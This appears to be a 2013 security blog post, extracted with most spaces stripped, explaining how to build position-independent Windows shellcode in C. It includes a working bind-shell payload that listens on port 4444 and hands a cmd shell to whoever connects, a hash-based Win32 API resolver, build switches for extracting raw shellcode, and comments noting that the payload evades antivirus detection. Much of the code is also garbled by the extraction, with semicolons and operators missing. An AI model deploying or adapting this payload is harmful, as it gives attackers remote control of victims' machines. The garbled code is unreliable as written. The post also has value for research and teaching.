Writing Optimized Windows Shellcode in C
Writing Optimized Windows Shellcode in C
Exploit Monday
SecurityResearchandEsotericPowerShellKnowledge
FRIDAY,AUGUST16,2013 TWITTER
@mattifestation
WritingOptimizedWindowsShellcodeinC
CODE
Download:PIC_Bindshell
PowerSploitonGitHub
WindowShellcodeinC
Introduction MemoryTools.ps1
Replacex64Process.ps1
Illbethefirsttoadmit:writingshellcodesucks.Whileyouhavetheadvantageofemployingsomecooltrickstominimize
thesizeofyourpayload,writingshellcodeisstillerrorproneanddifficulttomaintain.Forexample,Ifinditquitechallenging JOURNEYBACKINTIME
havingtotrackregisterallocations(especiallyinx86)andensureproperstackalignment(especiallyinx86_64).
2014(4)
Eventually,Igotfedup,steppedback,andaskedmyself,WhycantIjustwritemyshellcodepayloadsinCandletthe
compilerandlinkertakecareoftherest?Thatway,youonlyhavetowriteyourpayloadonceandyoucantargetittoany 2013(11)
architecturex86,x86_64,andARM.Also,youwouldhavethefollowingaddedbenefits: 11/1011/17(1)
09/2910/06(1)
1. Youcansubjectyourpayloadtostaticanalysistools.
08/1108/18(1)
2. Youcanunittestyourcode.
WritingOptimizedWindows
3. Youcanemployheavycompilerandlinkeroptimizationstoyourpayload. ShellcodeinC
4. Thecompilerismuchbetteratoptimizingassemblyforsizeand/orspeedthanyouare.
07/2808/04(1)
5. YoucanwriteyourpayloadinVisualStudio.Intellisense,FTW!
06/1606/23(1)
Now,youcouldsayImabitofaMicrosoftfanboy.Thatsaid,consideringthemajorityoftheshellcodeIvewrittenhas 06/0206/09(1)
beenforWindows,IdecidedtotakeonthechallengeofusingonlyMicrosofttoolstoemitpositionindependentshellcode. 03/3104/07(2)
Thefundamentalchallengehowever,isthattheMicrosoftCcompilercl.exedoesnotemitpositionindependentcode
03/2403/31(1)
(withtheexceptionofItanium).Ultimately,toachievethisgoal,weregoingtohavetorelyuponsomeCcodingtricksand
somecarefullycraftedcompilerandlinkerswitches. 02/1702/24(1)
01/0601/13(1)
ShellcodeBacktotheBasics
2012(19)
2011(11)
Whenwritingshellcode,whetheryoudoitinCorassembly,thefollowingrulesapply:
1)Itmustbepositionindependent.
Inmostcases,youcannotknowaprioritheaddressatwhichyourshellcodeisgoingtoland.Therefore,allbranching
instructionsandinstructionsthatdereferencememorymustbeexecutedrelativetothebaseaddressofwhereyouwere
loaded.Thegcccompilerhastheoptionofemittingpositionindependentcode(PIC)butunfortunately,Microsoftscompiler
doesnot.
2)Yourpayloadisonthehookforresolvingexternalreferences.
Ifyouwantyourpayloadtodoanythinguseful,atsomepoint,youregoingtohavetocallWin32APIfunctions.Inyour
typicalexecutable,externalsymbolicreferencesaresatisfiedinoneoftwoways:eithertheyareresolvedbytheloaderat
startupbywalkingtheimportdirectoryoftheexecutableortheyareresolveddynamicallyatruntimeusing
GetProcAddress.ShellcodeneitherhastheluxuryofbeingloadedbyaloadernorcanitjustcallGetProcAddresssinceit
hasnoideawhattheaddressofkernel32!GetProcAddressisinthefirstplaceaclassicchickenandtheeggproblem.
Inordertoresolvetheaddressesoflibraryfunctions,shellcodemustresolvefunctionnamesonitsown.Thisistypically
accomplishedinshellcodewithafunctionthattakesa32bitmoduleandfunctionhash,getsthePEB(Process
EnvironmentBlock)address,walksalinkedlistoftheloadedmodules,scanstheexportdirectoryofeachmodule,hashes
eachfunctionname,comparesitagainstthehashprovided,andifthereisamatch,thefunctionaddressiscalculatedby
addingitsRVAtothebaseaddressoftheloadedmodule.Imobviouslyglossingoverthedetailsoftheprocessinthe
interestofspacebutfortunately,thisprocessiswidelyused(e.g.inMetasploit)andwelldocumented.
3)Yourpayloadmustsavestackandregisterstateuponentryandrestorestateuponexitingtheshellcode.
WewillgetthisforfreebywritingthepayloadinCbyvirtueofhavingfunctionprologsandepilogsemittedbythecompiler
foreachfunction.
GetProcAddressWithHashFunctioninC
Inthedownloadprovided,theGetProcAddressWithHashfunctionresolvesWin32APIexportedfunctionaddresses.I
adaptedthelogicofthefunctionfromtheMetasploitblock_apiassemblyfunction:
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 1/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
#include<windows.h>
#include<winternl.h>
//ThiscompilestoaRORinstruction
//Thisisneededbecause_lrotr()isanexternalreference
//Also,thereisnotaconsistentcompilerintrinsictoaccomplishthisacrossallthreeplatforms.
#defineROTR32(value,shift)(((DWORD)value>>(BYTE)shift)|((DWORD)value<<(32(BYTE)shift)))
//RedefinePEBstructures.Thestructuredefinitionsinwinternl.hareincomplete.
typedefstruct_MY_PEB_LDR_DATA{
ULONGLength
BOOLInitialized
PVOIDSsHandle
LIST_ENTRYInLoadOrderModuleList
LIST_ENTRYInMemoryOrderModuleList
LIST_ENTRYInInitializationOrderModuleList
}MY_PEB_LDR_DATA,*PMY_PEB_LDR_DATA
typedefstruct_MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRYInLoadOrderLinks
LIST_ENTRYInMemoryOrderLinks
LIST_ENTRYInInitializationOrderLinks
PVOIDDllBase
PVOIDEntryPoint
ULONGSizeOfImage
UNICODE_STRINGFullDllName
UNICODE_STRINGBaseDllName
}MY_LDR_DATA_TABLE_ENTRY,*PMY_LDR_DATA_TABLE_ENTRY
HMODULEGetProcAddressWithHash(_In_DWORDdwModuleFunctionHash)
{
PPEBPebAddress
PMY_PEB_LDR_DATApLdr
PMY_LDR_DATA_TABLE_ENTRYpDataTableEntry
PVOIDpModuleBase
PIMAGE_NT_HEADERSpNTHeader
DWORDdwExportDirRVA
PIMAGE_EXPORT_DIRECTORYpExportDir
PLIST_ENTRYpNextModule
DWORDdwNumFunctions
USHORTusOrdinalTableIndex
PDWORDpdwFunctionNameBase
PCSTRpFunctionName
UNICODE_STRINGBaseDllName
DWORDdwModuleHash
DWORDdwFunctionHash
PCSTRpTempChar
DWORDi
#ifdefined(_WIN64)
PebAddress=(PPEB)__readgsqword(0x60)
#elifdefined(_M_ARM)
//Icanassureyouthatthisisnotamistake.TheCcompilerimproperlyemitstheproperopcodes
//necessarytogetthePEB.Ldraddress
PebAddress=(PPEB)((ULONG_PTR)_MoveFromCoprocessor(15,0,13,0,2)+0)
__emit(0x00006B1B)
#else
PebAddress=(PPEB)__readfsdword(0x30)
#endif
pLdr=(PMY_PEB_LDR_DATA)PebAddress>Ldr
pNextModule=pLdr>InLoadOrderModuleList.Flink
pDataTableEntry=(PMY_LDR_DATA_TABLE_ENTRY)pNextModule
while(pDataTableEntry>DllBase!=NULL)
{
dwModuleHash=0
pModuleBase=pDataTableEntry>DllBase
BaseDllName=pDataTableEntry>BaseDllName
pNTHeader=(PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase+((PIMAGE_DOS_HEADER)pModuleBase)>e_lfanew)
dwExportDirRVA=pNTHeader>OptionalHeader.DataDirectory[0].VirtualAddress
//Getthenextloadedmoduleentry
pDataTableEntry=(PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry>InLoadOrderLinks.Flink
//Ifthecurrentmoduledoesnotexportanyfunctions,moveontothenextmodule.
if(dwExportDirRVA==0)
{
continue
}
//Calculatethemodulehash
for(i=0i<BaseDllName.MaximumLengthi++)
{
pTempChar=((PCSTR)BaseDllName.Buffer+i)
dwModuleHash=ROTR32(dwModuleHash,13)
if(*pTempChar>=0x61)
{
dwModuleHash+=*pTempChar0x20
}
else
{
dwModuleHash+=*pTempChar
}
}
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 2/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
}
pExportDir=(PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase+dwExportDirRVA)
dwNumFunctions=pExportDir>NumberOfNames
pdwFunctionNameBase=(PDWORD)((PCHAR)pModuleBase+pExportDir>AddressOfNames)
for(i=0i<dwNumFunctionsi++)
{
dwFunctionHash=0
pFunctionName=(PCSTR)(*pdwFunctionNameBase+(ULONG_PTR)pModuleBase)
pdwFunctionNameBase++
pTempChar=pFunctionName
do
{
dwFunctionHash=ROTR32(dwFunctionHash,13)
dwFunctionHash+=*pTempChar
pTempChar++
}while(*(pTempChar1)!=0)
dwFunctionHash+=dwModuleHash
if(dwFunctionHash==dwModuleFunctionHash)
{
usOrdinalTableIndex=*(PUSHORT)(((ULONG_PTR)pModuleBase+pExportDir>AddressOfNameOrdinals)+(2*i))
return(HMODULE)((ULONG_PTR)pModuleBase+*(PDWORD)(((ULONG_PTR)pModuleBase+pExportDir>AddressOfFunctions)+(4*
}
}
}
//Allmoduleshavebeenexhaustedandthefunctionwasnotfound.
returnNULL
}
Goingfromtoptobottom,youmaynoticeafewthings:
IdefinedROTR32asamacro.
TheMetasploitpayloadusesarotaterighthashingfunction.Unfortunately,thereisnorotaterightoperatorinC.Thereare
severalrotaterightcompilerinstrinsicsbuttheyarenotconsistentacrossprocessorarchitectures.TheROTR32macro
implementsthelogicofarotaterightoperationusingtheequivalentlogicaloperatorsavailabletousinC.Whatscool,is
thatthecompilerwillrecognizethatthismacroperformsarotaterightoperationanditwillactuallycompiledowntoasingle
rotaterightassemblyinstruction.Thatsprettybasass,inmyopinion.
Iredefinetwostructuredefinitions.
Bothofthosestructurearedefinedinwinternl.hbutMicrosoftspublicdefinitionisincompletesoIsimplyredefinedthe
structureswiththefieldsIneeded.
ThereisadifferentmethodofgettingthePEBaddressdependingupontheprocessorarchitectureyouretargeting.
ThePEBaddressisthefirststepinresolvingexportedfunctionaddresses.ThePEBisastructurethatcontainsseveral
pointerstotheloadedmodulesofaprocess.Inx86andx86_64,thePEBaddressisobtainedbydereferencinganoffset
intothefsandgssegmentregisters,respectively.OnARM,thePEBaddressobtainedbyreadingaspecificregisterfrom
thesystemcontrolprocessor(CP15).Fortunately,thereisarespectivecompilerintrinsicforeachprocessorarchitecture.
Forwhateverreasonthough,thecompilerwasnotemittingcorrectARMassemblyinstructionsoIhadtotweakinstructions
inaverycounterintuitivemanner.
ImplementingYourPrimaryPayloadinC
Imgoingtobeusingasimplebindshellpayloadasanexampleforthispost.HereismyimplementationinC:
#defineWIN32_LEAN_AND_MEAN
#pragmawarning(disable:4201)//Disablewarningabout'namelessstruct/union'
#include"GetProcAddressWithHash.h"
#include"64BitHelper.h"
#include<windows.h>
#include<winsock2.h>
#include<intrin.h>
#defineBIND_PORT4444
#defineHTONS(x)(((((USHORT)(x))>>8)&0xff)|((((USHORT)(x))&0xff)<<8))
//RedefineWin32functionsignatures.Thisisnecessarybecausetheoutput
//ofGetProcAddressWithHashiscastasafunctionpointer.Also,thismakes
//workingwiththesefunctionsajoyinVisualStudiowithIntellisense.
typedefHMODULE(WINAPI*FuncLoadLibraryA)(
_In_z_LPTSTRlpFileName
)
typedefint(WINAPI*FuncWsaStartup)(
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 3/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
typedefint(WINAPI*FuncWsaStartup)(
_In_WORDwVersionRequested,
_Out_LPWSADATAlpWSAData
)
typedefSOCKET(WINAPI*FuncWsaSocketA)(
_In_intaf,
_In_inttype,
_In_intprotocol,
_In_opt_LPWSAPROTOCOL_INFOlpProtocolInfo,
_In_GROUPg,
_In_DWORDdwFlags
)
typedefint(WINAPI*FuncBind)(
_In_SOCKETs,
_In_conststructsockaddr*name,
_In_intnamelen
)
typedefint(WINAPI*FuncListen)(
_In_SOCKETs,
_In_intbacklog
)
typedefSOCKET(WINAPI*FuncAccept)(
_In_SOCKETs,
_Out_opt_structsockaddr*addr,
_Inout_opt_int*addrlen
)
typedefint(WINAPI*FuncCloseSocket)(
_In_SOCKETs
)
typedefBOOL(WINAPI*FuncCreateProcess)(
_In_opt_LPCTSTRlpApplicationName,
_Inout_opt_LPTSTRlpCommandLine,
_In_opt_LPSECURITY_ATTRIBUTESlpProcessAttributes,
_In_opt_LPSECURITY_ATTRIBUTESlpThreadAttributes,
_In_BOOLbInheritHandles,
_In_DWORDdwCreationFlags,
_In_opt_LPVOIDlpEnvironment,
_In_opt_LPCTSTRlpCurrentDirectory,
_In_LPSTARTUPINFOlpStartupInfo,
_Out_LPPROCESS_INFORMATIONlpProcessInformation
)
typedefDWORD(WINAPI*FuncWaitForSingleObject)(
_In_HANDLEhHandle,
_In_DWORDdwMilliseconds
)
//Writethelogicfortheprimarypayloadhere
//Normally,Iwouldcallthis'main'butifyoucallafunction'main',link.exerequiresthatyoulinkagainsttheCRT
//Rather,Iwillpassalinkeroptionof"/ENTRY:ExecutePayload"inordertogetaroundthisissue.
VOIDExecutePayload(VOID)
{
FuncLoadLibraryAMyLoadLibraryA
FuncWsaStartupMyWSAStartup
FuncWsaSocketAMyWSASocketA
FuncBindMyBind
FuncListenMyListen
FuncAcceptMyAccept
FuncCloseSocketMyCloseSocket
FuncCreateProcessMyCreateProcessA
FuncWaitForSingleObjectMyWaitForSingleObject
WSADATAWSAData
SOCKETs
SOCKETAcceptedSocket
structsockaddr_inservice
STARTUPINFOStartupInfo
PROCESS_INFORMATIONProcessInformation
//Stringsmustbetreatedasachararrayinordertopreventthemfrombeingstoredin
//an.rdatasection.Inordertomaintainpositionindependence,alldatamustbestored
//inthesamesection.ThankstoNickHarbourforcomingupwiththistechnique:
//http://nickharbour.wordpress.com/2010/07/01/writingshellcodewithaccompiler/
charcmdline[]={'c','m','d',0}
charmodule[]={'w','s','2','_','3','2','.','d','l','l',0}
//Initializestructures.SecureZeroMemoryisforcedinlineanddoesn'tcallanexternalmodule
SecureZeroMemory(&StartupInfo,sizeof(StartupInfo))
SecureZeroMemory(&ProcessInformation,sizeof(ProcessInformation))
#pragmawarning(push)
#pragmawarning(disable:4055)//Ignorecastwarnings
//ShouldIbevalidatingthatthesereturnavalidaddress?Yes...Meh.
MyLoadLibraryA=(FuncLoadLibraryA)GetProcAddressWithHash(0x0726774C)
//YoumustcallLoadLibraryonthewinsockmodulebeforeattemptingtoresolveitsexports.
MyLoadLibraryA((LPTSTR)module)
MyWSAStartup=(FuncWsaStartup)GetProcAddressWithHash(0x006B8029)
MyWSASocketA=(FuncWsaSocketA)GetProcAddressWithHash(0xE0DF0FEA)
MyBind=(FuncBind)GetProcAddressWithHash(0x6737DBC2)
MyListen=(FuncListen)GetProcAddressWithHash(0xFF38E9B7)
MyAccept=(FuncAccept)GetProcAddressWithHash(0xE13BEC74)
MyCloseSocket=(FuncCloseSocket)GetProcAddressWithHash(0x614D6E75)
MyCreateProcessA=(FuncCreateProcess)GetProcAddressWithHash(0x863FCC79)
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 4/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
MyCreateProcessA=(FuncCreateProcess)GetProcAddressWithHash(0x863FCC79)
MyWaitForSingleObject=(FuncWaitForSingleObject)GetProcAddressWithHash(0x601D8708)
#pragmawarning(pop)
MyWSAStartup(MAKEWORD(2,2),&WSAData)
s=MyWSASocketA(AF_INET,SOCK_STREAM,0,NULL,0,0)
service.sin_family=AF_INET
service.sin_addr.s_addr=0//Bindto0.0.0.0
service.sin_port=HTONS(BIND_PORT)
MyBind(s,(SOCKADDR*)&service,sizeof(service))
MyListen(s,0)
AcceptedSocket=MyAccept(s,NULL,NULL)
MyCloseSocket(s)
StartupInfo.hStdError=(HANDLE)AcceptedSocket
StartupInfo.hStdOutput=(HANDLE)AcceptedSocket
StartupInfo.hStdInput=(HANDLE)AcceptedSocket
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
StartupInfo.cb=68
MyCreateProcessA(0,(LPTSTR)cmdline,0,0,TRUE,0,0,0,&StartupInfo,&ProcessInformation)
MyWaitForSingleObject(ProcessInformation.hProcess,INFINITE)
}
ThereareafewthingsIneededtobemindfulofwhilewritingthepayloadinordertosatisfytherequirementsimposedby
positionindependentshellcode:
IdefinedHTONSasamacro.
Itwaseasiertodefinethisasamacroversusincurringtheoverheadofcallingws2_32.dll!htons.Besides,HTONSis
ideallysuitedforamacrosinceallitdoesisconvertaUSHORTfromhosttonetworkbyteorder.
IhadtomanuallydefinethefunctionsignaturesforeachWin32APIfunction.
ThiswasnecessarysinceeachcalltoGetProcAddressWithHashneedstobecasttoafunctionpointer.Also,with
Intellisense,callingthefunctionhasthelookandfeelofcallinganormalWin32functioninVisualStudio.Thispartis
admittedlyapainintheass.Itcertainlybeatstheguessandcheckmethodthoughwhenwritingassemblybyhand!
"ExecutePayload"isthefunctionthatimplementstheprimarylogicofthebindshell.
Normally,youwouldcallthefunction"main".OneoftheproblemsIranintothoughisthatwhenthelinkerencountersa
functionnamedmain,itexpectstobelinkedagainsttheCruntimelibrary.Obviously,shellcodeshouldntanddoesnt
requiretheCRTsorenamingtheentrypointtosomethingbesidesmainandexplicitlytellingthelinkeryourentrypoint
functionobviatestheneedtolinkagainsttheCRT.
cmdandws2_32.dllareexplicitlydefinedasnullterminatedcharacterarrays.
ThistechniquewasfirstdescribedbyNickHarbourasawaytoforcethecompilertoallocatestringsonthestack.By
default,stringsarestoredinthe.rdatasectionofabinaryandrelocationsaredefinedintheexecutableforanyreferences
tothosestrings.Storingstringsonthestackallowsforreferencestobemadeinapositionindependentmanner.
SecureZeroMemoryisusedtoinitializestackvariables
SecureZeroMemoryisbasicallyamemsetthatcannotbecompiledout.ItisalsoaninlinefunctionmeaningIamspared
theoverheadofhavingtoresolvetheaddressofmemset.
Therestofthepayload,isyourtypical,runofthemillConlyslightlymalicious.
EnsuringProperStackAlignmentin64bitShellcode
32bitarchitectures(i.e.x86andARMv7)requirethatfunctioncallsbemadewith4bytestackalignment.Itisprettymuch
guaranteedthatyourshellcodewilllandwith4bytealignment.64bitshellcodehowever,needstohave16bytestack
alignment.Thisisduetoarequirementimposedbyutilizing128bitXMMregisters.Thosewhohavewritten64bit
shellcodehavemostlikelyexperiencedcrashesataninstructionusinganXMMregisteruponcallingWin32afunction.
Thisisduetostackmisalignment.
Executablefiles,whenloadedareaffordedtheluxuryofhavingguaranteedalignmentduringCRTinitialization.Shellcode
isaffordednosuchluxury,however.So,inordertoensurethatmyshellcodehitsitsentrypointwithproperstack
alignmenton64bit,Ihadtowriteashortassemblystubthatguaranteedalignment.Then,asaprebuildeventinVisual
Studio,Iassembletheshellcodewithml64(MASMtheMicrosoftAssembler)andspecifytheresultingobjectfileasa
dependencyforthelinker.
Hereisthecodethatperformsthealignment:
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 5/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
EXTRNExecutePayload:PROC
PUBLICAlignRSPMarkingAlignRSPasPUBLICallowsforthefunction
tobecalledasanexterninourCcode.
_TEXTSEGMENT
AlignRSPisasimplecallstubthatensuresthatthestackis16bytealignedprior
tocallingtheentrypointofthepayload.Thisisnecessarybecause64bitfunctions
inWindowsassumethattheywerecalledwith16bytestackalignment.Whenamd64
shellcodeisexecuted,youcan'tbeassuredthatyoustackis16bytealigned.Forexample,
ifyourshellcodelandswith8bytestackalignment,anycalltoaWin32functionwilllikely
crashuponcallinganyASMinstructionthatutilizesXMMregisters(whichrequire16byte)
alignment.
AlignRSPPROC
pushrsiPreserveRSIsincewe'restompingonit
movrsi,rspSavethevalueofRSPsoitcanberestored
andrsp,0FFFFFFFFFFFFFFF0hAlignRSPto16bytes
subrsp,020hAllocatehomingspaceforExecutePayload
callExecutePayloadCalltheentrypointofthepayload
movrsp,rsiRestoretheoriginalvalueofRSP
poprsiRestoreRSI
retReturntocaller
AlignRSPENDP
_TEXTENDS
END
Basically,whatshappeninghereisIampreservingtheoriginalstackvalue,andingRSP(thestackpointer)toachieve16
bytealignment,allocatinghomingspace,andthencallingtheoriginalentrypointExecutePayload(i.e.thebindshell
code).
IalsohaveasmallhelperfunctioninCthatsimplycallsAlignRSP:
#ifdefined(_WIN64)
externVOIDAlignRSP(VOID)
VOIDBegin(VOID)
{
//CalltheASMstubthatwillguarantee16bytestackalignment.
//ThestubwillthencalltheExecutePayload.
AlignRSP()
}
#endif
Thislittlehelperfunctionwillthenserveasthenewentrypointthatwillbespecifiedtothelinker.Iwillexplainshortlywhy
thiswrapperfunctionisnecessary.
CompilingtheShellcode
Iusethefollowingcompiler(cl.exe)commandlineswitchesinmyVisualStudio2012project:
/GS/TC/GL/W4/O1/nologo/Zl/FA/Os
Eachswitchwarrantsanexplanationasitisrelevanttotheshellcodethatwillbegenerated.
/GS:Disablesstackbufferoverrunchecks.Ifenabled,externalstackcookiesetterandgetterfunctionswouldbecalled
whichwouldnolongermaketheshellcodepositionindependent.
/TC:TellsthecompilertotreatallfilesasCsourcefiles.Oneofthequirksofthiscommandlineswitchisthatalllocal
variablesmustbedefinedatthebeginningofafunction.Iftheyarenot,unintuitiveerrorswilloccurwhenattemptingto
compile.
/GL:Wholeprogramoptimization.Thisoptiontellsthelinker(viathe/LTGCoption)tooptimizeacrossfunctioncalls.I
chosethisoptionbecauseIjustreallyliketheideaoffullyoptimizedshellcode.:D
/W4:Enablesthehighestwarninglevel.Thisisjustgoodpractice.
/O1:Tellsthecompilertofavorsmallcodeoverfastcodeanidealattributeofshellcode.
/FA:Outputsanassemblylisting.Thisisoptional.Ijustprefertovalidatetheassemblycodeemittedbythecompiler.
/Zl:OmitthedefaultCruntimelibrarynamefromtheresultingobjectfile.Thisservestotellthelinkerthatyoudontintend
tolinkagainsttheCruntime.
/Os:Anotherwaytotellthecompilertofavorsmallcode.
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 6/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
LinkingtheShellcode
Thefollowinglinker(link.exe)switchesareusedforx86/ARMandx86_64,respectively:
/LTCG/ENTRY:"ExecutePayload"/OPT:REF/SAFESEH:NO/SUBSYSTEM:CONSOLE/MAP
/ORDER:@"function_link_order.txt"/OPT:ICF/NOLOGO/NODEFAULTLIB
/LTCG"x64\Release\\AdjustStack.obj"/ENTRY:"Begin"/OPT:REF/SAFESEH:NO
/SUBSYSTEM:CONSOLE/MAP/ORDER:@"function_link_order64.txt"/OPT:ICF/NOLOGO/NODEFAULTLIB
Eachswitchwarrantsanexplanationasitisrelevanttotheshellcodethatwillbegenerated.
/LTCG:Enablesglobaloptimizationsbythelinker.Thecompilerhaslittletonocontroloveroptimizationsacrossfunction
callssinceitcompilesonafunctionbyfunctionbasis.Therefore,thelinkerisideallysuitedtoperformoptimizationsacross
functioncallssinceitreceivesalloftheobjectfilesemittedbythecompiler.
/ENTRY:Specifiestheentrypointofthebinary.ThisisExecutePayload(thebindshelllogic)inx86andARM.However,
inx86_64,itisBeginthecalltothestackalignmentstubAlignRSP.ThereasontheBeginfunctionisnecessaryin
64BitHelper.hisbecausesincewereeventuallyemittingshellcode,wehavetoexplicitlysetthelinkorder(viathe/ORDER
switch).TheMicrosoftlinkerdoesntallowyoutospecifylinkorderforexternfunctions(i.e.AlignRSP).Togetaroundthis,I
simplywrappedAlignRSPinafunction.Beginisthenspecifiedasthefirstfunctiontobelinked.Thatway,itwillbethe
firstcodetobecalledintheshellcode.
/OPT:REF:Eliminatesfunctionsand/ordatathatareneverreferenced.Wewantourshellcodetobeassmallaspossible.
Thislinkeroptimizationwillreduceshellcodesizebyeliminatingdeadcode/data.
/SAFESEH:NO:DonotemitSafeSEHhandlers.Shellcodehasnoneedforregisteredexceptionhandling.
/SUBSYSTEM:CONSOLE:Asfarasshellcodegoes,thesubsystemisirrelevant.SpecifyingCONSOLEthoughwillallow
youtotestthecompiledexefromthecommandline.
/MAP:Generateamapfile.Thisfileisusedtopulloutthesizeoftheshellcode.
/ORDER:Becausewearegeneratingshellcode,theorderinwhichfunctionsarelinkedisextremelyimportant.Originally,it
wasmyassumptionthattheentrypointfunctionwouldbethefirstfunctiontobelinked.This,however,didnotturnoutto
bethecase.The/ORDERswitchtakesatextfilecontainingthefunctionsintheorderinwhichtheyshouldbelinked.Youll
noticethatthefunctionatthetopofeachlististheentrypointfunction.
/OPT:ICF:Removesredundantfunctions.Thisisoptional.
/NODEFAULTLIB:Explicitlytellsthelinkernottoattempttousedefaultlibrarieswhenresolvingexternalreferences.This
switchishandyifyouaccidentallyhaveanexternalreferenceinyourcode.Thelinkerwillthrowanerrorwhichwillbringto
yourattentionthefactthatyourpayloadcannothaveanyexternalreferences!
ExtractingtheShellcode
Afterthecodeiscompiledandlinked,thefinalstepistopulltheshellcodeoutoftheresultingexe.Thisrequiresatoolthat
canparseaPEfileandpullthebytesoutofthe.textsection.Fortunately,GetPEHeaderalreadydoesthis.Theonly
caveatthoughisthatifyouweretopullouttheentire.textsection,youwouldbeleftwithabunchofnullpadding.Thats
whyIwroteanotherscriptthatparsesthemapfilewhichcontainstheactuallengthofthecodeinthe.textsection.
ForthosewhoenjoyanalyzingPEfiles,itisworthinvestigatingtheexefilesgenerated.Itwillonlycontainasinglesection
.textanditwillnothaveanyentriesinthedatadirectoriesintheoptionalheader.ThisisexactlywhatIsoughtaftera
binarywithoutanyrelocations,extraneoussections,orimports.
BuildSteps:PIC_Bindshell
PIC_Bindshell.zipincludesaVisualStudio2012project.ItesteditonbothVS2012ExpressandUltimateEdition.Justload
thesolutionfile(*.sln)inVisualStudio,selectthearchitectureyouwanttotarget,andthenbuild.Whatisoutputisanexe
andashellcode(*.bin)payload.
TheExpressEditionofVisualStudio2012doesnotsupportcompilingforARM.Also,ifthisisyourfirsttimecompilingfor
ARM,VisualStudiowillthrowthefollowingerroruponattemptingtocompile:
C:\ProgramFiles
(x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.AR
M.v110.targets(36,5):errorMSB8022:CompilingDesktopapplicationsfortheARMplatform
isnotsupported.
YoualsoneedtoremovethefollowinglinefromC:\ProgramFiles(x86)\MicrosoftVisualStudio11.0\VC\includecrtdefs.h
(338):
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 7/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
#errorCompilingDesktopapplicationsfortheARMplatformisnotsupported.
Simplyremovethoselines,restartVisualStudio,andthenyoullbegoodtogo.
Conclusion
WithaclearerunderstandingofhowtheMicrosoftcompilerandlinkerworkinconcert,itispossibletowritefullyoptimized
WindowsshellcodeinCthatcanbetargetedtoanysupportedprocessorarchitecture.Thatdoesntmeanthatyou
shouldnthaveaclearunderstandingoftheassemblylanguageyouretargeting,though.Itjustmeansyoudonthaveto
wastecycleswritinglargequantitiesofassemblylanguagebyhand.Also,Illtrustthecompilerovermyfeeblebrainany
day.
BTW,my64bitshellcodeusesXMMregisters.Doesyours?:P
Labels:compiling,linking,powershell,shellcode,VisualStudio
12comments:
Anonymous August16,2013at9:29PM
Bewareofswitchstatementsthecompilercanoptimisethemtouseaglobalvariable(switchtable).
Reply
Replies
Matt August16,2013at9:34PM
Interesting.I'llbeonthelookout.Thanksforthetip.:)
ThetechniquesI'vedescribedasyouprobablyknowarebynomeansasilverbulletandmanualvalidationwillstill
benecessary.Thecompileriscomplicatedbeyondbycomprehension.
Reply
tiraniddo August17,2013at6:08AM
Onewayyoucansortofgetpositionindependentconstantstringsisyoucanmergethe.rdatasectionintothe.textsection
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 8/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
(using/merge:.rdata=.textlinkerflag)thenuseastubfunctionwhichgetsthecurrentEIPandandcalculatesthestringlocation.
Thenicethingaboutthisisitcanbecomeanooponx64becausethecompilerwillemitRIPrelativeinstructions.
Reply
Replies
Matt August17,2013at7:39AM
HeyJames.IplayedaroundwithmergingsectionsabitwhenIwasdevelopingthesetechniques.Iultimatelyopted
nottomergesectionsthoughsincethecompilerstillemitsrelocations.AndwhileIhavethetoolset(GetObjDump)
tolistandmodifyrelocations,I'dmuchratherleavethattasktothelinker.I'lladmitthough,usingchararraysispretty
annoying.
tiraniddo August17,2013at8:19AM
PerhapstheMScompilershavechangedsomewhatsinceIlastactuallywroteCshellcode,wasover3yearsago
now:)StillwhatIrecallonx86itwouldgeneraterelocations,butaslongasyoubouncethrougharebasingfunction
itdidn'tmatterifyoujustdiscardedtherelocationsafterwards.AndIrecallx64justalwaysgeneratedRIPrelative,
butagainmaybenotanymore.
Stillitisagoodarticle:)
Reply
Marqo09 August18,2013at12:31AM
Nice job with this blog. I especially appreciate you taking the time to verbosely document. Saved me quite a bit of time not
havingtoreferencethecompilerandlinkerswitches.
Reply
ThierryFranzetti October10,2013at7:57AM
Just for fun, I compiled a sample and submitted it to VirusTotal (MD5: 3cbf414a9f277991e7baaa1fa640827b). At the time of
writing,thedetectionratiois3/48!Notbadenoughforopeningabindshell...
Reply
Replies
Matt October10,2013at9:04PM
Have you tried submitting the 64bit version? The sample I have on Github didn't flag at all! :) BTW, expect
improvementstothesetechniquesinthenearfuture.
Reply
Glenn February7,2014at2:51AM
Nicearticle.
Just a note that your way of resolving API calls doesn't work for all API functions. Some functions such as HeapAlloc are
forwarded to another dll. In this case, your resolving function returns an adress to a string with the name of the forwarded
location(NTDLL.RtlAllocateHeapforAllocHeap)
Reply
Replies
MattGraeber February9,2014at7:54AM
Glenn,
That's a fantastic point and I should have mentioned that in the post. I intentionally shied away from dealing with
forwardedfunctionssinceIhonestlydidn'thavethemotivationtowritethelogicthatfollowedtheforwardedfunction
